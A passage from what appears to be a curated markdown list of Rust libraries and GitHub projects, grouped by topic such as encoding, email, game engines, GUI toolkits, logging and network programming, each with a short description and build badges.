[[ockam](https://crates.io/crates/ockam)] - End-to-End Encryption, Mutual Authentication, and ABAC for distributed applications [![build badge](https://github.com/build-trust/ockam/workflows/Rust/badge.svg)](https://github.com/build-trust/ockam) ### Domain driven design * [serverlesstechnology/cqrs](https://github.com/serverlesstechnology/cqrs) [[cqrs-es](https://crates.io/crates/cqrs-es)] — A framework for CQRS and event sourcing with [user guide](https://doc.rust-cqrs.org/) ### Email [[email](https://crates.io/keywords/email), [imap](https://crates.io/keywords/imap), [smtp](https://crates.io/keywords/smtp)] * [gsquire/sendgrid-rs](https://github.com/gsquire/sendgrid-rs) — unofficial Rust library for SendGrid API * [jdrouet/catapulte](https://github.com/jdrouet/catapulte) - A microservice to send emails using [MRML](https://github.com/jdrouet/mrml) templates. * [jdrouet/jolimail](https://github.com/jdrouet/jolimail) - A web application to build [MRML](https://github.com/jdrouet/mrml) templates. * [jdrouet/mrml](https://github.com/jdrouet/mrml) - A library to generate nice email templates working on any mail client. * [lettre/lettre](https://github.com/lettre/lettre) — an SMTP-library for Rust [![CI](https://github.com/lettre/lettre/actions/workflows/test.yml/badge.svg?branch=master)](https://github.com/lettre/lettre/actions/workflows/test.yml) * [mailtutan/mailtutan](https://github.com/mailtutan/mailtutan) An SMTP server for test and development environment. * [staktrace/mailparse](https://github.com/staktrace/mailparse) [[mailparse](https://crates.io/crates/mailparse)] — A library for parsing real-world email files * [stalwartlabs/mail-auth](https://github.com/stalwartlabs/mail-auth) [[mail-auth](https://crates.io/crates/mail-auth)] - DKIM, ARC, SPF and DMARC message authentication library [![build badge](https://github.com/stalwartlabs/mail-auth/actions/workflows/rust.yml/badge.svg)](https://github.com/stalwartlabs/mail-auth/actions/workflows/rust.yml) * [stalwartlabs/mail-parser](https://github.com/stalwartlabs/mail-parser) [[mail-parser](https://crates.io/crates/mail-parser)] - A fast and robust e-mail parsing library with full MIME support [![build badge](https://github.com/stalwartlabs/mail-parser/actions/workflows/rust.yml/badge.svg)](https://github.com/stalwartlabs/mail-parser/actions/workflows/rust.yml) * [stalwartlabs/mail-send](https://github.com/stalwartlabs/mail-send) [[mail-send](https://crates.io/crates/mail-send)] - E-mail builder and SMTP client library with DKIM support [![build badge](https://github.com/stalwartlabs/mail-send/actions/workflows/rust.yml/badge.svg)](https://github.com/stalwartlabs/mail-send/actions/workflows/rust.yml) ### Encoding [[encoding](https://crates.io/keywords/encoding)] * ASN.1 * [alex/rust-asn1](https://github.com/alex/rust-asn1) — A Rust ASN.1 (DER) serializer * Binary * [bincode-org/bincode](https://github.com/bincode-org/bincode) — A binary encoder/decoder in Rust [![CI](https://github.com/bincode-org/bincode/actions/workflows/rust.yml/badge.svg?branch=trunk)](https://github.com/bincode-org/bincode/actions/workflows/rust.yml) * [jamesmunns/postcard](https://github.com/jamesmunns/postcard) [[postcard](https://crates.io/crates/postcard)] — Postcard is a #![no_std] focused serializer and deserializer for Serde. * [m4b/goblin](https://github.com/m4b/goblin) [[goblin](https://crates.io/crates/goblin)] — cross-platform, zero-copy, and endian-aware binary parsing * BSON * [mongodb/bson-rust](https://github.com/mongodb/bson-rust) — Encoding and decoding support for BSON in Rust * Byte swapping * [BurntSushi/byteorder](https://github.com/BurntSushi/byteorder) — Supports big-endian, little-endian and native byte orders * Cap'n Proto * [capnproto/capnproto-rust](https://github.com/capnproto/capnproto-rust) — * CBOR * [serde_cbor](https://crates.io/crates/serde_cbor) — CBOR support for serde * Character Encoding * [hsivonen/encoding_rs](https://github.com/hsivonen/encoding_rs) [[encoding_rs](https://crates.io/crates/encoding_rs)] — A Gecko-oriented implementation of the Encoding Standard in Rust * [lifthrasiir/rust-encoding](https://github.com/lifthrasiir/rust-encoding) — * CRC * [mrhooray/crc-rs](https://github.com/mrhooray/crc-rs) — * CSV * [BurntSushi/rust-csv](https://github.com/BurntSushi/rust-csv) — A fast and flexible CSV reader and writer, with support for Serde * EDN * [naomijub/edn-rs](https://github.com/naomijub/edn-rs) [[edn-rs](https://crates.io/crates/edn-rs)] — crate to parse and emit EDN format into Rust types. * [FlatBuffers](https://flatbuffers.dev/) * [frol/flatc-rust](https://github.com/frol/flatc-rust) — FlatBuffers compiler (flatc) integration for Cargo build scripts * HAR * [mandrean/har-rs](https://github.com/mandrean/har-rs) [[har](https://crates.io/crates/har)] — A HTTP Archive Format (HAR) serialization & deserialization library * HTML * [servo/html5ever](https://github.com/servo/html5ever) — High-performance browser-grade HTML5 parser * JSON * [importcjj/rust-ajson](https://github.com/importcjj/rust-ajson) [[ajson]](https://crates.io/crates/ajson) — Get JSON values quickly * [maciejhirsz/json-rust](https://github.com/maciejhirsz/json-rust) [[json](https://crates.io/crates/json)] — JSON implementation in Rust * [pikkr/pikkr](https://github.com/pikkr/pikkr) [[pikkr](https://crates.io/crates/pikkr)] — JSON parser which picks up values directly without performing tokenization in Rust * [serde-rs/json](https://github.com/serde-rs/json) [[serde\_json](https://crates.io/crates/serde_json)] — JSON support for [Serde](https://github.com/serde-rs/serde) framework * [simd-lite/simd-json](https://github.com/simd-lite/simd-json) [[simd-json](https://crates.io/crates/simd-json)] — High performance JSON parser based on a port of simdjson * MsgPack * [3Hren/msgpack-rust](https://github.com/3Hren/msgpack-rust) — A pure Rust low/high level MessagePack implementation * NetCDF * [georust/netcdf](https://github.com/georust/netcdf) [[netcdf](https://crates.io/crates/netcdf)] — Medium-level netCDF bindings for Rust, allowing easy reading and writing of array-like structures to a file. * PEM * [jcreekmore/pem-rs](https://github.com/jcreekmore/pem-rs) [[pem](https://crates.io/crates/pem)] — A Rust based way to parse and encode PEM-encoded data * ProtocolBuffers * [stepancheg/rust-protobuf](https://github.com/stepancheg/rust-protobuf) — * [tokio-rs/prost](https://github.com/tokio-rs/prost) — [![continuous integration](https://github.com/tokio-rs/prost/workflows/continuous%20integration/badge.svg?branch=master)](https://github.com/tokio-rs/prost/actions) * rkyv * [rkyv/rkyv](https://github.com/rkyv/rkyv) [[rkyv](https://crates.io/crates/rkyv)] — rkyv (archive) is a zero-copy deserialization framework for Rust * RON (Rusty Object Notation) * [https://github.com/ron-rs/ron](https://github.com/ron-rs/ron) — * Serde * [vityafx/serde-aux](https://github.com/vityafx/serde-aux/) - additional tools for using with the serde library. [![CI](https://github.com/vityafx/serde-aux/actions/workflows/ci.yml/badge.svg)](https://github.com/vityafx/serde-aux/actions/workflows/ci.yml) [![Crates badge](https://img.shields.io/crates/v/serde-aux.svg)](https://crates.io/crates/serde-aux) * TOML * [tamasfe/taplo](https://github.com/tamasfe/taplo) [[taplo](https://crates.io/crates/taplo)] — A TOML toolkit written in Rust [![CI](https://github.com/tamasfe/taplo/workflows/Continuous%20integration/badge.svg)](https://github.com/tamasfe/taplo/actions?query=workflow%3A%22Continuous+integration%22) * [toml-rs/toml](https://github.com/toml-rs/toml) — [![CI](https://github.com/toml-rs/toml/actions/workflows/ci.yml/badge.svg)](https://github.com/toml-rs/toml/actions/workflows/ci.yml) * XML * [Florob/RustyXML](https://github.com/Florob/RustyXML) — an XML parser written in Rust * [media-io/yaserde](https://github.com/media-io/yaserde) — Yet Another Serializer/Deserializer specialized for XML * [netvl/xml-rs](https://github.com/netvl/xml-rs) — A streaming XML library * [shepmaster/sxd-document](https://github.com/shepmaster/sxd-document) — An XML library in Rust * [shepmaster/sxd-xpath](https://github.com/shepmaster/sxd-xpath) — An XPath library in Rust * [tafia/quick-xml](https://github.com/tafia/quick-xml) — High performance XML pull reader/writer * YAML * [chyh1990/yaml-rust](https://github.com/chyh1990/yaml-rust) — The missing YAML 1.2 implementation for Rust. * [dtolnay/serde-yaml](https://github.com/dtolnay/serde-yaml) [[serde\_yaml](https://crates.io/crates/serde_yaml)] — YAML support for [Serde](https://github.com/serde-rs/serde) framework [![build](https://img.shields.io/github/workflow/status/dtolnay/serde-yaml/CI/master)](https://github.com/dtolnay/serde-yaml/actions?query=branch%3Amaster) * [vitiral/stfu8](https://github.com/vitiral/stfu8) [[stfu8](https://crates.io/crates/stfu8)] — Sorta Text Format in UTF-8 ### Filesystem [[filesystem](https://crates.io/keywords/filesystem)] * Operations * [ParthJadhav/Rust_Search](https://github.com/ParthJadhav/Rust_Search) [[rust_search](https://crates.io/crates/rust_search)] - Blazingly fast file search library built in Rust. * [pop-os/dbus-udisks2](https://github.com/pop-os/dbus-udisks2) [[dbus-udisks2](https://crates.io/crates/dbus-udisks2)] - UDisks2 DBus API * [pop-os/sys-mount](https://github.com/pop-os/sys-mount) [[sys-mount](https://crates.io/crates/sys-mount)] — High level abstraction for the `mount` / `umount2` system calls. * [vitiral/path_abs](https://github.com/vitiral/path_abs) [[path_abs](https://crates.io/crates/path_abs)] — Absolute serializable path types and associated methods. * [webdesus/fs_extra](https://github.com/webdesus/fs_extra) — expanding opportunities standard library std::fs and std::io * Temporary Files * [Stebalien/tempfile](https://github.com/Stebalien/tempfile) — temporary file library * [Stebalien/xattr](https://github.com/Stebalien/xattr) [[xattr](https://crates.io/crates/xattr)] — list and manipulate unix extended file attributes * [zboxfs/zbox](https://github.com/zboxfs/zbox) [[zbox](https://crates.io/crates/zbox)] — Zero-details, privacy-focused embeddable file system. ### Finance * [avhz/RustQuant](https://github.com/avhz/RustQuant) [[RustQuant](https://crates.io/crates/RustQuant)] — A quantitative finance library. ![GitHub Workflow Status (with event)](https://img.shields.io/github/actions/workflow/status/avhz/RustQuant/build.yml) * [d-e-s-o/apca](https://github.com/d-e-s-o/apca) [[apca](https://crates.io/crates/apca)] — Opinionated and comprehensive bindings to the [Alpaca API](https://alpaca.markets/) for stock trading and more. ![GitHub Workflow Status](https://github.com/d-e-s-o/apca/actions/workflows/test.yml/badge.svg?branch=main) ### Functional Programming [[functional programming](https://crates.io/keywords/fp)] * Prelude * [JasonShin/fp-core.rs](https://github.com/JasonShin/fp-core.rs) — A library for functional programming in Rust * [myrrlyn/tap](https://github.com/myrrlyn/tap) - Suffix-Position Pipeline Behavior ### Game development See also [Are we game yet?](https://arewegameyet.rs) * Allegro * [SiegeLord/RustAllegro](https://github.com/SiegeLord/RustAllegro) — [Allegro 5](https://liballeg.org/) bindings * [Awesome Quads](https://github.com/ozkriff/awesome-quads) — A curated list of links to miniquad/macroquad-related code & resources * [Awesome wgpu](https://github.com/rofrol/awesome-wgpu) — A curated list of wgpu code and resources * bracket-lib (previously RLTK) * [bracket-lib](https://github.com/amethyst/bracket-lib) [[bracket-lib](https://crates.io/crates/bracket-lib)] - The Roguelike Toolkit (RLTK), implemented for Rust. [![Rust](https://github.com/amethyst/bracket-lib/actions/workflows/rust.yml/badge.svg)](https://github.com/amethyst/bracket-lib/actions/workflows/rust.yml) * Challonge * [vityafx/challonge-rs](https://github.com/vityafx/challonge-rs) [[challonge](https://crates.io/crates/challonge)] — Client library for the Challonge REST API. Helps to organize tournaments. [![CI](https://github.com/vityafx/challonge-rs/actions/workflows/ci.yml/badge.svg)](https://github.com/vityafx/challonge-rs/actions/workflows/ci.yml) * Corange * [lucidscape/corange-rs](https://github.com/lucidscape/corange-rs) — [Corange](https://github.com/orangeduck/Corange) bindings * Entity-Component Systems (ECS) * [amethyst/specs](https://github.com/amethyst/specs) — Specs Parallel ECS * [legion](https://github.com/amethyst/legion) — A feature rich high performance ECS library with minimal boilerplate [![build badge](https://github.com/amethyst/legion/workflows/CI/badge.svg?branch=master)](https://github.com/amethyst/legion/actions) * Game Engines * [Bevy](https://github.com/bevyengine/bevy) is a refreshingly simple data-driven game engine built in Rust. - [![Crates.io](https://img.shields.io/crates/v/bevy.svg)](https://crates.io/crates/bevy) [![Crates.io](https://img.shields.io/crates/d/bevy.svg)](https://crates.io/crates/bevy) * [Fyrox](https://fyrox.rs/) — Rust Game engine 3D [![Crates.io](https://img.shields.io/crates/v/fyrox.svg)](https://crates.io/crates/fyrox) [![license](https://img.shields.io/crates/l/fyrox.svg)](https://github.com/FyroxEngine/Fyrox/blob/master/LICENSE.md) [![Crates.io](https://img.shields.io/crates/d/fyrox.svg)](https://crates.io/crates/fyrox) * [ggez](https://github.com/ggez/ggez) — A lightweight game framework for making 2D games with minimum friction - [![Crates.io](https://img.shields.io/crates/v/ggez.svg)](https://crates.io/crates/ggez) [![license](https://img.shields.io/badge/license-MIT-blue.svg)](https://github.com/ggez/ggez/blob/master/LICENSE) [![Crates.io](https://img.shields.io/crates/d/ggez.svg)](https://crates.io/crates/ggez) * [Kiss3d](http://kiss3d.org) — A Keep It Simple, Stupid 3d graphics engine written with Rust [![Crates.io](https://img.shields.io/crates/d/kiss3d.svg)](https://crates.io/crates/kiss3d) * [oxidator](https://github.com/Ruddle/oxidator) — A real time strategy game/engine written with Rust and WebGPU * [Piston](https://www.piston.rs/) — [![Crates.io](https://img.shields.io/crates/v/piston.svg?style=flat-square)](https://crates.io/crates/piston) [![Crates.io](https://img.shields.io/crates/l/piston.svg)](https://github.com/PistonDevelopers/piston/blob/master/LICENSE) [![Crates.io](https://img.shields.io/crates/d/piston.svg)](https://crates.io/crates/piston) * [Unrust](https://github.com/unrust/unrust) — unrust — A pure rust based (webgl 2.0 / native) game engine * [Godot](https://godotengine.org/) * [godot-rust/gdnative](https://github.com/godot-rust/gdnative) [[gdnative](https://crates.io/crates/gdnative)] - Rust bindings to the Godot game engine [![CI](https://github.com/godot-rust/gdnative/actions/workflows/full-ci.yml/badge.svg)](https://github.com/godot-rust/gdnative/actions/workflows/full-ci.yml) * [Raylib](https://www.raylib.com/) * [deltaphc/raylib-rs](https://github.com/deltaphc/raylib-rs) [[raylib](https://crates.io/crates/raylib)] — Rust bindings for raylib * [SDL](http://www.libsdl.org/) [[sdl](https://crates.io/keywords/sdl)] * [brson/rust-sdl](https://github.com/brson/rust-sdl) — SDL1 bindings * [Rust-SDL2/rust-sdl2](https://github.com/Rust-SDL2/rust-sdl2) — SDL2 bindings * SFML * [jeremyletang/rust-sfml](https://github.com/jeremyletang/rust-sfml) — [SFML](https://www.sfml-dev.org/) bindings * Skillratings * [atomflunder/skillratings](https://github.com/atomflunder/skillratings) [[skillratings](https://crates.io/crates/skillratings)] - Collection of skill rating algorithms for multiplayer games like Elo, Glicko-2, TrueSkill etc. [![crates.io badge](https://img.shields.io/crates/v/skillratings)](https://crates.io/crates/skillratings) [![CI](https://github.com/atomflunder/skillratings/actions/workflows/ci.yml/badge.svg)](https://github.com/atomflunder/skillratings/actions/workflows/ci.yml) * Tcod-rs * [tomassedovic/tcod-rs](https://github.com/tomassedovic/tcod-rs) — Libtcod bindings for Rust. * Warning: Not maintained anymore * Toornament-rs * [vityafx/toornament-rs](https://github.com/vityafx/toornament-rs) - Toornament.com API bindings for Rust. [![CI](https://github.com/vityafx/toornament-rs/actions/workflows/ci.yml/badge.svg)](https://github.com/vityafx/toornament-rs/actions/workflows/ci.yml) [![Crates badge](https://img.shields.io/crates/v/toornament.svg)](https://crates.io/crates/toornament) * Victorem * [VictoremWinbringer/Victorem](https://github.com/VictoremWinbringer/Victorem) [[Victorem](https://crates.io/crates/Victorem)] — Easy UDP Game Server and UDP Client framework for creating simple 2D and 3D online game prototype ### Geospatial [[geo](https://crates.io/keywords/geo), [gis](https://crates.io/keywords/gis)] * [DaveKram/coord_transforms](https://github.com/DaveKram/coord_transforms) [[coord_transforms](https://crates.io/crates/coord_transforms)] — coordinate transformations (2-d, 3-d, and geospatial) * [Georust](https://github.com/georust) — geospatial tools and libraries written in Rust * [MapLibre/Martin](https://github.com/maplibre/martin) — Map tile server with PostGIS, MBTiles, PMTiles, and sprites support. [![CI build](https://github.com/maplibre/martin/workflows/CI/badge.svg)](https://github.com/maplibre/martin/actions)[![crates.io version](https://img.shields.io/crates/v/martin.svg)](https://crates.io/crates/martin)[![Book](https://img.shields.io/badge/docs-Book-informational)](https://maplibre.org/martin/) * [rust-reverse-geocoder](https://github.com/gx0r/rrgeo) — A fast, offline reverse geocoder in Rust, inspired by [thampiman/reverse-geocoder](https://github.com/thampiman/reverse-geocoder) * [vlopes11/geomorph](https://github.com/vlopes11/geomorph) [[geomorph](https://crates.io/crates/geomorph)] — conversion between UTM, LatLon and MGRS coordinates ### Graph algorithms * [neo4j-labs/graph](https://github.com/neo4j-labs/graph) - A library for high-performant graph algorithms [![graph CI status](https://img.shields.io/github/workflow/status/neo4j-labs/graph/CI/main?label=CI)](https://github.com/neo4j-labs/graph/actions/workflows/rust.yml) * [petgraph/petgraph](https://github.com/petgraph/petgraph) - Graph data structure library for Rust. [![graph CI status](https://github.com/petgraph/petgraph/workflows/Continuous%20integration/badge.svg?branch=master)](https://github.com/petgraph/petgraph/actions/workflows/ci.yml) ### Graphics [[graphics](https://crates.io/keywords/graphics)] * Font * [RazrFalcon/rustybuzz](https://github.com/RazrFalcon/rustybuzz) - An incremental harfbuzz port to Rust * [redox-os/rusttype](https://github.com/redox-os/rusttype) — A pure Rust alternative to libraries like FreeType * [gfx-rs/gfx](https://github.com/gfx-rs/gfx) — A high-performance, bindless graphics API for Rust. * [gfx-rs/wgpu](https://github.com/gfx-rs/wgpu) - Native WebGPU implementation based on gfx-hal. [![build badge](https://github.com/gfx-rs/wgpu/workflows/CI/badge.svg?branch=master)](https://github.com/gfx-rs/wgpu/actions) * OpenGL [[opengl](https://crates.io/keywords/opengl)] * [brendanzab/gl-rs](https://github.com/brendanzab/gl-rs) — * [glium/glium](https://github.com/glium/glium) — safe OpenGL wrapper for the Rust language. * [glutin](https://crates.io/crates/glutin) — Rust alternative to [GLFW](https://www.glfw.org/) * [Kiss3d](http://kiss3d.org) — draw simple geometric figures and play with them with one-liners * [PistonDevelopers/glfw-rs](https://github.com/PistonDevelopers/glfw-rs) — * PDF * [fschutt/printpdf](https://github.com/fschutt/printpdf) — PDF writing library * [J-F-Liu/lopdf](https://github.com/J-F-Liu/lopdf) — PDF document manipulation * [kaj/rust-pdf](https://github.com/kaj/rust-pdf) — * [WASM-PDF](https://github.com/jussiniinikoski/wasm-pdf) – Generates PDF files with JavaScript and WASM (WebAssembly) * [Vulkan](https://www.vulkan.org/) [[vulkan](https://crates.io/keywords/vulkan)] * [erupt](https://gitlab.com/Friz64/erupt) [[erupt](https://crates.io/crates/erupt)] — [![build badge](https://gitlab.com/Friz64/erupt/badges/main/pipeline.svg)](https://gitlab.com/Friz64/erupt/-/pipelines) * [vulkano](https://github.com/vulkano-rs/vulkano) [[vulkano](https://crates.io/crates/vulkano)] — ### GUI [[gui](https://crates.io/keywords/gui)] * [autopilot-rs/autopilot-rs](https://github.com/autopilot-rs/autopilot-rs) — A simple, cross-platform GUI automation library for Rust. * Cocoa * [servo/core-foundation-rs](https://github.com/servo/core-foundation-rs) — * [DioxusLabs/dioxus](https://github.com/dioxuslabs/dioxus) - a portable, performant, and ergonomic framework for building cross-platform user interfaces in Rust. ![rust ci](https://github.com/dioxuslabs/dioxus/actions/workflows/main.yml/badge.svg) * [emilk/egui](https://github.com/emilk/egui) - Simple, fast, and highly portable immediate mode GUI library for Rust. egui runs on the web, natively, and in your favorite game engine. [![Build Status](https://github.com/emilk/egui/workflows/CI/badge.svg)](https://github.com/emilk/egui/actions?workflow=CI) * [emoon/rust_minifb](https://github.com/emoon/rust_minifb) — minifb is a cross-platform window setup with optional bitmap rendering. It also comes with easy mouse and keyboard input. Primarily designed for prototyping * [FLTK](https://www.fltk.org/) * [fltk-rs](https://github.com/fltk-rs/fltk-rs) — FLTK Rust bindings [![Build](https://github.com/fltk-rs/fltk-rs/workflows/Build/badge.svg?branch=master)](https://github.com/fltk-rs/fltk-rs/actions) * [Flutter](https://flutter.dev/) * [flutter-rs](https://github.com/flutter-rs/flutter-rs) — Build flutter desktop app in dart & rust. * [fzyzcjy/flutter_rust_bridge](https://github.com/fzyzcjy/flutter_rust_bridge) — High-level memory-safe binding generator for Flutter/Dart <-> Rust * [fschutt/azul](https://github.com/fschutt/azul) — A free, functional, IMGUI-oriented GUI framework for rapid development of desktop applications written in Rust, supported by the Mozilla WebRender rendering engine. * [GTK+](https://www.gtk.org/) [[gtk](https://crates.io/keywords/gtk)] * [gtk-rs/gtk4-rs](https://github.com/gtk-rs/gtk4-rs) - GTK4 binding for rust ![CI](https://github.com/gtk-rs/gtk4-rs/workflows/CI/badge.svg) * [relm](https://github.com/antoyo/relm) — Asynchronous, GTK+-based, GUI library, inspired by Elm * [iced-rs/iced](https://github.com/iced-rs/iced) [[iced](https://crates.io/crates/iced)] — A cross-platform GUI library for Rust focused on simplicity and type-safety. Inspired by Elm. * [ImGui](https://github.com/ocornut/imgui) * [imgui-rs](https://github.com/imgui-rs/imgui-rs) — Rust bindings for ImGui [![Build Status](https://github.com/imgui-rs/imgui-rs/workflows/ci/badge.svg?branch=master)](https://github.com/imgui-rs/imgui-rs/actions) * [IUP](http://webserver2.tecgraf.puc-rio.br/iup/) * [Kiss-ui](https://github.com/KISS-UI/kiss-ui) — A simple UI framework built on IUP * [ivanceras/sauron-native](https://github.com/ivanceras/sauron-native) - A truly native and cross platform GUI library. One unified code can be run as native GUI, Html Web and TUI. * [libui](https://github.com/andlabs/libui) * [rust-native-ui/libui-rs](https://github.com/rust-native-ui/libui-rs) — libui bindings. * [Nuklear](https://github.com/Immediate-Mode-UI/Nuklear) * [nuklear-rust](https://github.com/snuk182/nuklear-rust) — Rust bindings for Nuklear * [OrbTk](https://github.com/redox-os/orbtk) — The Orbital Widget Toolkit is a multi platform (G)UI toolkit using SDL2 [![Build and test](https://github.com/redox-os/orbtk/workflows/build/badge.svg?branch=develop)](https://github.com/redox-os/orbtk/actions) * [PistonDevelopers/conrod](https://github.com/PistonDevelopers/conrod/) — An easy-to-use, immediate-mode, 2D GUI library written entirely in Rust * [Qt](https://doc.qt.io) * [cyndis/qmlrs](https://github.com/cyndis/qmlrs) — QtQuick bindings * [rust-qt](https://github.com/rust-qt) * [woboq/qmetaobject-rs](https://github.com/woboq/qmetaobject-rs) — Integrate Qml and Rust by building the QMetaObject at compile time. * [rise-ui](https://github.com/rise-ui/rise) — Simple component-based cross-Platform GUI Toolkit for developing beautiful and user-friendly interfaces. * [saurvs/nfd-rs](https://github.com/saurvs/nfd-rs) — [nativefiledialog](https://github.com/mlabbe/nativefiledialog) bindings * [Sciter](https://sciter.com/) * [sciter-sdk/rust-sciter](https://github.com/sciter-sdk/rust-sciter) — Sciter bindings [![build badge](https://ci.appveyor.com/api/projects/status/github/sciter-sdk/rust-sciter?svg=true)](https://ci.appveyor.com/project/sciter-sdk/rust-sciter) * [slint-ui/slint](https://github.com/slint-ui/slint) [slint](https://crates.io/crates/slint) — [Slint](https://slint.dev/) is a toolkit to efficiently develop fluid graphical user interfaces for embedded devices and desktop applications. [![Build Status](https://github.com/slint-ui/slint/workflows/CI/badge.svg?branch=master)](https://github.com/slint-ui/slint/actions?query=workflow%3ACI) * [tauri-apps/tauri](https://github.com/tauri-apps/tauri) — Build smaller, faster, and more secure desktop applications with a web frontend, powered by [WRY](https://github.com/tauri-apps/wry). [![test library](https://img.shields.io/github/workflow/status/tauri-apps/tauri/test%20library?label=test%20library)](https://github.com/tauri-apps/tauri/actions?query=workflow%3A%22test+library%22) * [tauri-apps/wry](https://github.com/tauri-apps/wry) - Webview Rendering librarY. * [xilem](https://github.com/linebender/xilem) — Successor of the data-first Rust-native UI design toolkit [druid](https://github.com/linebender/druid). ### Image processing * [abonander/img_hash](https://github.com/abonander/img_hash) — Perceptual image hashing and comparison for equality and similarity. * [image-rs/image](https://github.com/image-rs/image) — Basic imaging processing functions and methods for converting to and from image formats * [image-rs/imageproc](https://github.com/image-rs/imageproc) — An image processing library, based on the `image` library. * [marekm4/dominant_color](https://github.com/marekm4/dominant_color) [[dominant_color](https://crates.io/crates/dominant_color)] — Dominant color extractor ![build badge](https://github.com/marekm4/dominant_color/actions/workflows/rust.yml/badge.svg?branch=master) * [rust-cv/cv](https://github.com/rust-cv/cv) — Rust CV is a project to implement computer vision algorithms, abstractions, and systems in Rust. #[no_std] is supported where possible. ![build badge](https://github.com/rust-cv/cv/workflows/tests/badge.svg) * [teovoinea/steganography](https://github.com/teovoinea/steganography) [[steganography](https://crates.io/crates/steganography)] — A simple steganography library * [twistedfall/opencv-rust](https://github.com/twistedfall/opencv-rust) — Rust bindings for OpenCV ### Language specification * [shnewto/bnf](https://github.com/shnewto/bnf) — A library for parsing Backus–Naur form context-free grammars. ### Logging [[log](https://crates.io/keywords/log)] * [estk/log4rs](https://github.com/estk/log4rs) — highly configurable logging framework modeled after Java's Logback and log4j libraries [![CircleCI](https://circleci.com/gh/estk/log4rs.svg?style=shield)](https://app.circleci.com/pipelines/github/estk/log4rs) * [jesusprubio/leg](https://github.com/jesusprubio/leg) — Elegant print for lazy devs. Make your CLIs nicer with minimal effort. [![Build Status](https://github.com/jesusprubio/leg/workflows/CI/badge.svg)](https://github.com/jesusprubio/leg/actions/workflows/ci.yml) * [rbatis/fast_log](https://github.com/rbatis/fast_log) — Rust async log High-performance asynchronous logging * [rust-lang/log](https://github.com/rust-lang/log) — Logging implementation for Rust * [seanmonstar/pretty-env-logger](https://github.com/seanmonstar/pretty-env-logger) — A pretty, easy-to-use logger for Rust. * [slog-rs/slog](https://github.com/slog-rs/slog) — Structured, composable logging for Rust * [tokio-rs/tracing](https://github.com/tokio-rs/tracing) — An application level tracing framework for async-aware structured logging, error handling, metrics, and more [![Build Status](https://github.com/tokio-rs/tracing/workflows/CI/badge.svg?branch=master)](https://github.com/tokio-rs/tracing/actions?query=workflow%3ACI) ### Macro * cute * [mattgathu/cute](https://github.com/mattgathu/cute) — Macro for Python-esque list comprehensions in Rust. * [Linq-in-Rust](https://github.com/StardustDL/Linq-in-Rust) - Macro and methods for C#-LINQ-like expressions. [![CI](https://github.com/StardustDL/Linq-in-Rust/workflows/CI/badge.svg?branch=master)](https://github.com/StardustDL/Linq-in-Rust/actions?query=workflow%3ACI) ### Markup language * CommonMark * [raphlinus/pulldown-cmark](https://github.com/raphlinus/pulldown-cmark) — [CommonMark](https://commonmark.org/) parser in Rust ### Mobile * Android / iOS * [ivanschuetz/rust_android_ios](https://github.com/ivanschuetz/rust_android_ios) — An example of using a shared Rust lib for Android and iOS using rust-swig and cbindgen respectively. * Generic * [Geal/rust_on_mobile](https://github.com/Geal/rust_on_mobile) * iOS * [TimNN/cargo-lipo](https://github.com/TimNN/cargo-lipo) — A cargo lipo subcommand which automatically creates a universal library for use with your iOS application. ### Network programming * Bluetooth * [bluez/bluer](https://github.com/bluez/bluer) [[bluer](https://crates.io/crates/bluer)] — Official BlueZ bindings for Rust. [![build badge](https://github.com/bluez/bluer/actions/workflows/rust.yml/badge.svg?branch=master)](https://github.com/bluez/bluer/actions/workflows/rust.yml) * CoAP * [Covertness/coap-rs](https://github.com/Covertness/coap-rs) — A [Constrained Application Protocol(CoAP)](https://datatracker.ietf.org/doc/html/rfc7252) library for Rust. * Docker * [fussybeaver/bollard](https://github.com/fussybeaver/bollard) — Docker daemon API in Rust * FTP * [mattnenterprise/rust-ftp](https://github.com/mattnenterprise/rust-ftp) — an [FTP](https://en.wikipedia.org/wiki/File_Transfer_Protocol) client for Rust * gRPC * [hyperium/tonic](https://github.com/hyperium/tonic) — A native gRPC client & server implementation with async/await support [![Crates.io](https://img.shields.io/crates/v/tonic)](https://crates.io/crates/tonic) * [tikv/grpc-rs](https://github.com/tikv/grpc-rs) — The gRPC library for Rust built on C Core library and futures * HTTP * [Hurl](https://github.com/Orange-OpenSource/hurl) — Run and test HTTP requests with plain text and libcurl [![CI](https://github.com/Orange-OpenSource/hurl/workflows/CI/badge.svg)](https://github.com/Orange-OpenSource/hurl/actions) * IPNetwork * [achanda/ipnetwork](https://github.com/achanda/ipnetwork) — A library to work with IP networks in pure Rust * [candrew/netsim](https://github.com/canndrew/netsim) — A Rust library for network simulation and testing * [jesusprubio/online](https://github.com/jesusprubio/online) — Library to check your Internet connectivity [![CI](https://github.com/jesusprubio/online/actions/workflows/ci.yml/badge.svg)](https://github.com/jesusprubio/online/actions/workflows/ci.yml) * Low level * [actix/actix](https://github.com/actix/actix) — Actor library for Rust * [dylanmckay/protocol](https://github.com/dylanmckay/protocol) — Custom TCP/UDP protocol definitions * [libpnet/libpnet](https://github.com/libpnet/libpnet) — A cross-platform, low level networking * [smoltcp-rs/smoltcp](https://github.com/smoltcp-rs/smoltcp) — A standalone, event-driven TCP/IP stack that is designed for bare-metal, real-time systems * [tokio-rs/tokio](https://github.com/tokio-rs/tokio) — A network application framework for rapid development and highly scalable production deployments of clients and servers. * message-io * [lemunozm/message-io](https://github.com/lemunozm/message-io) — Event-driven message library to build network applications easy and fast. Supports TCP, UDP and WebSockets. [![build badge](https://img.shields.io/github/workflow/status/lemunozm/message-io/message-io%20ci)](https://github.com/lemunozm/message-io/actions?query=workflow%3A%22message-io+ci%22) * MQTT * [bytebeamio/rumqtt](https://github.com/bytebeamio/rumqtt) - A library for developers to build applications that communicate with the [MQTT protocol](https://mqtt.org) over TCP and WebSockets, with or without TLS. [![Build and Test](https://github.com/bytebeamio/rumqtt/actions/workflows/build.yml/badge.svg)](https://github.com/bytebeamio/rumqtt/actions/workflows/build.yml) * NanoMsg * [thehydroimpulse/nanomsg.rs](https://github.com/thehydroimpulse/nanomsg.rs) — [nanomsg](https://nanomsg.org/) bindings * NATS * [nats-io/nats.rs](https://github.com/nats-io/nats.rs) — Rust client for NATS, the cloud native messaging system. [![Build Status](https://github.com/nats-io/nats.rs/workflows/Rust/badge.svg?branch=master)](https://github.com/nats-io/nats.rs/actions) * Nng * [neachdainn/nng-rs](https://gitlab.com/neachdainn/nng-rs) [[Nng](https://crates.io/crates/nng)] — [Nng (nanomsg v2)](https://nng.nanomsg.org/index.html) bindings [![build badge](https://gitlab.com/neachdainn/nng-rs/badges/master/pipeline.svg)](https://gitlab.com/neachdainn/nng-rs/-/pipelines) * NNTP * 